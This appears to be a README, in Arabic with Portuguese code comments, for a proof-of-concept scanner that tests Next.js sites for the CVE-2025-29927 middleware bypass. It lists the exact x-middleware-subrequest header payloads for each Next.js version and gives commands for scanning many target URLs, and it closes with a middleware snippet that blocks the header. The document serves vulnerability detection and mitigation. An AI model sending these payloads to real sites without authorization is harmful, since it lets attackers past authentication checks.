
# ماسح PoC آلي لثغرة تجاوز الوسيطة في Next.js CVE-2025-29927 يقوم باختبار حمولات متعددة من `x-middleware-subrequest` عبر عناوين URL المستهدفة مع فحص متزامن وتصدير بصيغة JSON.
أداة إثبات مفهوم (PoC) قوية لاكتشاف ثغرة middleware في Next.js (CVE-2025-29927).
تختبر هذه الأداة ثغرة خطيرة في تطبيقات Next.js حيث يمكن استخدام الترويسة x-middleware-subrequest لتجاوز فحوصات الأمان المطبقة في middleware. يتضمن الاستغلال إرسال طلبات HTTP مع ترويسات خبيثة محددة، تختلف حسب إصدار Next.js.
وفقًا للبحث، توجد حمولات مختلفة لإصدارات مختلفة من Next.js:
الإصدارات الأقدم من 12.2:
x-middleware-subrequest: pages/_middleware
الإصدارات من 12.2 فصاعدًا:
x-middleware-subrequest: middleware
أو
x-middleware-subrequest: src/middleware
(إذا كان التطبيق يستخدم دليل src)
الإصدارات الأحدث (مثل 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
أو
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
تختبر أداة PoC الخاصة بنا جميع هذه الحمولات تلقائيًا وتُبلغ عن أي منها نجح.
# Clone o repositório ou baixe os arquivos
# Navegue até o diretório
cd poc-nextjs-2025
# Instale os pacotes necessários
pip install -r requirements.txt
python main.py -u https://exemplo.com # Testar uma única URL
python main.py -f alvos.txt # Testar múltiplas URLs de um arquivo
| الخيار | الوصف |
|---|---|
-u, --url URL | عنوان URL الهدف للفحص |
-f, --file ARQUIVO | ملف يحتوي على عناوين URL متعددة للفحص (واحد في كل سطر) |
-p, --paths CAMINHOS | قائمة المسارات للاختبار مفصولة بفواصل (الافتراضي: المسارات الشائعة) |
-t, --threads N | عدد الخيوط المتزامنة (الافتراضي: 5) |
-o, --output ARQUIVO | حفظ النتائج في ملف JSON |
--timeout N | مهلة الطلب بالثواني (الافتراضي: 10) |
# Escaneamento básico de um único alvo
python main.py -u https://exemplo.com
# Escanear múltiplos alvos com caminhos personalizados
python main.py -f alvos.txt -p /api/users,/admin,/dashboard
# Escanear com maior concorrência e timeout mais longo
python main.py -u https://exemplo.com -t 10 --timeout 15
# Salvar resultados em um arquivo JSON
python main.py -u https://exemplo.com -o resultados_scan.json
يعمل الماسح من خلال:
x-middleware-subrequest وفقًا لإصدارات Next.jsإذا اكتشفت تطبيقات معرضة للخطر، طبّق إجراءات التخفيف التالية:
x-middleware-subrequestexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}